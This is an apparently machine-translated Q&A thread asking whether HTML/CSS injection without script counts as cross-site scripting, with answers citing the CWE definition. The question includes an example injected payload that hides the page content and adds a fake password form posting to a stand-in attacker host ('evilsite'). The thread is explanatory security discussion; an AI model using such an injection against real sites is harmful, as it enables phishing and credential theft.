2012-03-11 23 views
2

我正在進行關於網絡安全的演示,並準備展示幾個基本的跨站點腳本示例。XSS/Cross Site Scripting是否也包含CSS注入?

有趣的是,雖然在Chrome的這些例子中工作時,我遇到了Chrome的XSS預防功能,在這裏如果腳本正在執行也存在於該請求,它將檢測;非常漂亮的功能。

因爲我的例子故意寫回以轉義格式提交的內容,我決定去看看Chrome是否以同樣的方式處理樣式信息。在這種情況下,我能夠提交結束標籤和一個隱藏文檔其餘部分的樣式元素,並用我的內容改寫它。

我想知道的是:我所做的仍然算作跨站點腳本,還是稱爲其他東西?它仍然是一種將內容注入頁面以改變佈局的攻擊,可能會做一些惡意的事情,比如添加一個提交給攻擊者網站的表單,但它並不明確地注入腳本。

我想確保我得到這個東西的語義是正確的,這種情況似乎打敗明確調用XSS基於腳本的攻擊的概念,除非它有自己的名字。

在此先感謝!

編輯:我要提供什麼我談論

如果我有以下頁面的一個簡單的例子:

<html> 
    <body> 
    <h1 class="welcome">Welcome Fred!</h1> 
    </body> 
</html> 

術語「弗雷德」由用戶來輸入,如果沒有逃脫存在我可以注入:

<html> 
    <body> 
    <h1 class="welcome">Welcome 
     <!-- begin injected code --> 
     </h1> 
     <style>.welcome { visibility: hidden; display: none; }</style> 
     <h1>Please enter your password to continue</h1> 
     <form method="post" action="http://evilsite/hax"> 
     <label for="password">Password:</label> 
     <input type="password" id="password" name="password" /> 
     <input type="Submit" name="Submit" value="Submit"> 
     </form> 
     <h1 class="welcome"> 
     <!-- end injected code --> 
     ! 
    </h1> 
    </body> 
</html> 

然後頁面看起來像合法的網站要求用戶的密碼,同時將提交到攻擊者的網站(並且可能重定向到合法網站以使受害者不知道)。

它仍然具有與普通的基於腳本的XSS攻擊類似的意圖,但不涉及任何腳本。

+0

你可以用CSS來做一些非常酷的事情(用一種非常邪惡的方式),稱爲「點擊頂起」。 – 2012-03-11 07:28:35

+0

我知道click-jacking;但我認爲這是一種不同的攻擊形式。 – theotherian 2012-03-11 07:57:42

回答

1

有調用這個XSS的先例。正如在Is a cross-domain attack via stylesheet possible?中解釋的那樣,livejournal是基於CSS的XSS中最早被廣泛報道的目標之一。

LiveJournal包含一個漏洞,允許遠程跨站點腳本攻擊。存在此缺陷的原因是,應用程序在提交到'/cgi-bin/cleanhtml.pl'腳本後未驗證XML xsl名稱空間變量。這可能允許用戶創建特製的URL,以便在瀏覽器和服務器之間的信任關係內在用戶的瀏覽器中執行任意代碼,從而導致完整性的丟失。因爲攻擊通過注入腳本網站它憑藉同源策略的獲得權限提升的權限

在這種情況下,術語「跨站點腳本」是適當的。該腳本是否使用JavaScript,CSS,HTML,URL或其他類型的代碼與該攻擊是否應描述爲「XSS」無關。該決定基於以下內容:

  1. 攻擊者是否導致代碼在瀏覽器中運行?如果是這樣,那就是腳本。
  2. 該代碼是否在瀏覽器的相同原始策略下運行,並且該源代碼的所有者不打算授予該代碼?如果是這樣,它是跨站點。

編輯:

如果沒有腳本運行,那麼它是不是跨站點腳本。也許內容注入或內容遮蔽將是一個更合適的術語。

+0

這就是說通過CSS執行腳本。我正在談論用CSS重寫一個頁面;沒有涉及的腳本。 – theotherian 2012-03-11 07:41:08

+0

@theotherian,以及「重寫頁面」的含義不涉及執行代碼是什麼意思? – 2012-03-11 07:44:07

+0

我同意內容注入將是一個更合適的術語,但我想知道是否有更像XSS或XSRF的官方名稱。 – theotherian 2012-03-11 07:52:53

1

從嚴格意義上講,如果可以從外部(即跨域)將一些client-side scripting注入到文檔中,那麼攻擊只能稱爲Cross-Site Scripting attack,以便注入的代碼將在受害者的瀏覽器在文檔的上下文中,因此具有與服務器所服務的結果相同的結果。

這是CWE describes XSS如何:

  1. 不可信數據進入Web應用程序,通常從網絡請求:當

    跨站腳本處理(XSS)漏洞發生。

  2. Web應用程序動態生成一個包含此不可信數據的網頁。
  3. 在頁面生成過程中,應用程序不會阻止數據包含可由Web瀏覽器執行的內容,如JavaScript,HTML標記,HTML屬性,鼠標事件,Flash,ActiveX等。
  4. 受害者訪問通過網頁瀏覽器生成的網頁,其中包含使用不可信數據注入的惡意腳本。
  5. 由於腳本來自Web服務器發送的網頁,受害者的Web瀏覽器在Web服務器域的上下文中執行惡意腳本。
  6. 這實際上違反了Web瀏覽器的同源策略的意圖,該策略規定一個域中的腳本不應該能夠訪問資源或在不同域中運行代碼。

所以,如果注射不包含客戶端腳本,但是不同的東西,你不會把它XSS但不同的東西像code injection。在更改內容的情況下,它也可能被稱爲污損。

但是爲了方便起見,許多人將每種攻擊都混爲一談,允許將某些東西注入到XSS文檔中。 According to CWE, the attack of injecting a fake login form into a document would also be called XSS.